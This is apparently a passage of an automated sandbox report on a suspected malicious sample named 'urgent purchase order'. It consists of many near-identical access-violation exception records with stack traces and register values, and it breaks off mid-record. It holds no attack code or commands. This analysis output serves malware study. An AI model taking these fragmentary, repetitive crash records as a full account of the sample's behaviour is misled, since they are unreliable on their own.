RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 